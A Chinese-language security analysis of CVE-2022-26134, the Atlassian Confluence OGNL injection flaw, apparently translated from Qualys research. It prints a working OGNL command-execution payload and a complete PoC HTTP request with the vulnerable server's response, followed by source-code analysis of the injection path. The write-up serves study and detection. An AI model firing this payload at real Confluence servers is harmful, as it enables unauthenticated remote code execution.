【CVE-2022-26134】Atlassian Confluence OGNL RCE漏洞
作者:Sec-Labs | 发布时间:
漏洞介绍
Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能,并支持用于构建企业WiKi的协同软件的服务器版本。
Atlassian Confluence Server 和 Data Center 存在注入漏洞。攻击者利用该漏洞执行任意代码。以下产品及版本受到影响:
- 1.3.0版本至7.4.17之前版本
- 7.13.0版本至7.13.7之前版本
- 7.14.0版本至7.14.3之前版本
- 7.15.0版本至 7.15.2之前版本
- 7.16.0版本至7.16.4之前版本
- 7.17.0版本至7.17.4之前版本
- 7.18.0版本至7.18.1之前版本
正文内容
2022年6月2日,Atlassian发布安全公告,称有一个严重的未经认证的远程代码执行漏洞影响Confluence Server和Data Center。根据该公告,该漏洞正在被积极利用,1.3.0之后的Confluence服务器和数据中心版本受到影响。该漏洞被追踪为CVE-2022-26134,CVSSv3评分为9.8,安全研究人员在GitHub上发布了多个概念证明漏洞。
Qualys Web应用扫描于2022年6月8日发布了QID 150523,以检测CVE-2022-26134,该检测发送HTTP GET请求,并使用特制的OGNL有效载荷来确定目标Confluence应用程序上的漏洞。OGNL有效载荷创建了一个自定义的HTTP响应头,包含在Linux和Windows系统上执行的系统命令的输出。该检测还包括Qualys定制的OGNL有效载荷,它与平台无关,消除了假阳性,并通过创建Qualys指定值的定制HTTP响应头,无论主机操作系统如何,都能发挥作用。
OGNL注入
对象图形导航语言(OGNL)是一种开源的表达式语言(EL),用于获取和设置Java对象的属性。当对用户提供的数据验证不足时,就会发生OGNL注入,EL解释器试图解释它,使攻击者能够注入自己的EL代码。
在CVE-2022-26134的案例中,RCE攻击在本质上并不复杂。该攻击可以通过简单地在请求URI中发送OGNL有效载荷来执行。 该有效载荷可以被制作成添加一个自定义的HTTP响应头,打印出成功执行的远程命令的输出。
RCE Payload
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}
打破上述有效载荷,变量a被赋予表达式的值,该表达式使用语法@class@method(args)调用各种静态方法,其中java.lang.Runtime类调用exec方法,执行id命令,输出被存储在变量a中。
接下来,从包com.opensymphony.xwork2中调用ServletActionContext类,它使用getResponse和setHeader方法来获取X-Qualys-Response自定义头中的id系统命令的响应。
Exploit POC
请求
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
响应
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1655819234897
Set-Cookie: JSESSIONID=7AE586C9E49E2301BA33E5A1552D8C6F; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Qualys-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Tue, 21 Jun 2022 13:47:14 GMT
Connection: close
一旦漏洞的利用被触发,可以看到X-Qualys-Response HTTP响应头包含id系统命令的输出,导致成功利用这个远程代码执行漏洞。
漏洞分析
在分析上述RCE请求时,Qualys WAS研究团队发现Confluence服务器的Catalina日志文件存储在/opt/atlassian/confluence/logs/catalina.YYYY-MM-DD.log,其中有多个发送Web请求的条目,同时还有stdout和stderr的输出。以下是日志文件中打印RCE请求的堆栈跟踪的片段。
07-Jun-2022 10:37:00.565 WARNING [Catalina-utility-4] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-17] (id=[347]) has been active for [75,417] milliseconds (since [6/7/22 10:35 AM]) to serve the same request for [http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and
may be stuck.
java.lang.Throwable
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1247)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1215)
at ognl.OgnlParser.primaryExpression(OgnlParser.java:1494)
at ognl.OgnlParser.navigationChain(OgnlParser.java:1245)
[..SNIP..]
at ognl.Ognl.parseExpression(Ognl.java:113)
at com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196)
at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)
at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)
at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)
at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[..SNIP..]
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base@11.0.15/java.lang.Thread.run(Thread.java:829)
分析堆栈,com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)似乎是发生注入的来源。执行流向com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95),其中execute方法调用TextParseUtil类com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil. java:39),这似乎是进行OGNL表达式评估的水槽,调用OgnlValueStack类com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)的findValue方法,并继续用com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196)和其他多个类解析OGNL表达式。
源码分析
为了更好地了解这个RCE漏洞的执行流程,我们有必要深入研究这些类的源代码。
首先是ServletDispatcher类
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
getNamespaceFromServletPath用于获取一个Action所属的命名空间。
例如:当一个恶意请求http://127.0.0.1:8090/<RCE payload>/被触发时,servletPath.substring(0, servletPath.lastIndexOf("/"));这一行将把最后一个尾部斜线之前的所有内容视为命名空间。因此,命名空间<RCE payload>是由恶意请求的URI创建的。
因此,最后的尾部斜杠是利用的重要组成部分,如果省略了,有效载荷就不会工作。
这个命名空间被ActionChainResult中使用this.namespace表达式的execution方法进一步利用。
public void execute(final ActionInvocation invocation) throws Exception {
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}
final OgnlValueStack stack = ActionContext.getContext().getValueStack();
final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
if (this.isInChainHistory(finalNamespace, finalActionName)) {
throw new XworkException("infinite recursion detected");
}
在这里,TextParseUtil类中的translateVariables方法被调用到this.namespace表达式中,将表达式中所有${...}的实例转换为调用OgnlValueStack.findValue返回的值。
继续使用TextParseUtil类的代码。
package com.opensymphony.xwork.util;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TextParseUtil
{
public static String translateVariables(final String expression, final OgnlValueStack stack) {
final StringBuilder sb = new StringBuilder();
final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
final Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
final String g = m.group(1);
final int start = m.start();
String value;
try {
final Object o = stack.findValue(g);
value = ((o == null) ? "" : o.toString());
}
catch (Exception ignored) {
value = "";
}
sb.append(expression.substring(previous, start)).append(value);
previous = m.end();
}
if (previous < expression.length()) {
sb.append(expression.substring(previous));
}
return sb.toString();
}
}
translateVariables方法需要两个参数表达式,基本上是一个没有被翻译的字符串,其次是一个值栈,允许对它进行动态OGNL表达式的评估。
Inside final Pattern p = Pattern.compile("\\$\{([^}]*)\\}"); class Pattern定义了一个要搜索的模式,然后用Pattern.compile()方法创建它。
在Java中,单反斜杠是字符串的一个转义字符。因此,在上面的反斜杠\$\{([^}]*)\}中使用了双反斜杠来转义$, {, }字符。
下一行 final Matcher m = p.matcher(expression); 使用matcher()方法来搜索字符串中的模式,例如:${qualys.rce.payload}模式被创建。
进一步从正则表达式中提取圆括号的内容\$$\{([^}]*)\}来匹配表达式,使用final String g = m.group(1);并将其传递给final Object o = stack.findValue(g)。
最后,findValue通过以默认的搜索顺序对堆栈评估给定的表达式来找到值。
因此,当远程攻击者发出恶意请求URI http://127.0.0.1:8090/${rce_payload}/时,首先${rce_payload}被翻译成一个命名空间,然后使用TextParseUtil.translateVariables提取有效载荷,此后使用findValue评估OGNL表达式rce_payload,导致远程代码执行。